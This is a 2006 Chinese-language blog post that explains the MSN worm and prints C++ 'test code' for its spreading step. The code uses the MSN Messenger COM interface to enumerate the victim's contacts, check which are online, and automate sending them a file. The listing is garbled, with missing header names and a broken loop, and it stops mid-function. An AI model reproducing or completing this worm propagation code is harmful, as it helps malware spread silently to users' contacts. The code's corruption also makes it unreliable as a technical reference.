2006年12月23日土曜日

MSN病毒原理及测试代码

前段时间MSN病毒非常流行,它的原理其实很简单,最主要的工作就是操控MSN,其实这个很简单,微软有公开的接口让你用,所以我就不多说了,直接进入正题。

  下面是测试代码,只有通过MSN传送文件部分

CODE:
 #include "stdafx.h"
 #include
 #include
 #include "msgruaid.h" //这两个头文件就是接口的定义
 #include "msgrua.h" //有兴趣的同学可以在网上找找(没找着可以找我要)
 #include

 int main(int argc, char* argv[])
 {
  IMessenger *pIMessenger = NULL; //a pointer to an IMessenger interface BSTR pbstrName, bstrFriendName;
  IMessengerContact *MsnContact;
  IMessengerContacts *MsnContacts;
  IMessengerWindow *pIMsnWindow;
  __MIDL___MIDL_itf_msgrua_0000_0002 dwStatus;
  VARIANT vaTemp;
  BSTR bstrFileName;
  char *szOpenDlg;
  char szMsnWindowsClass[] = "IMWindowClass";
  char szButtonText[] = "打开(&O)";
  HWND hWnd = NULL, hBtn = NULL;
  DWORD dwControlId = 0;
  char szCurDir[MAX_PATH], szBuf[MAX_PATH];

  CoInitialize(0); //初始化COM库
  CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger); //创建一个实例
  pIMessenger->get_MyContacts((IDispatch**)&MsnContacts); //取得好友列表
  pIMessenger->get_Window((IDispatch**)&pIMsnWindow);
  long nCount;
  MsnContacts->get_Count(&nCount); //得到好友数
  for (int i = 0; i <>Item(i, (IDispatch**)&MsnContact);
   MsnContact->get_SigninName(&pbstrName); //账号
   MsnContact->get_FriendlyName(&bstrFriendName); //签名
   szOpenDlg = _com_util::ConvertBSTRToString(bstrFriendName);
   MsnContact->get_Status(&dwStatus);
   if (dwStatus == MISTATUS_ONLINE) //判断是否在线
   {
    GetCurrentDirectory(MAX_PATH, szCurDir);
   %2

0 件のコメント: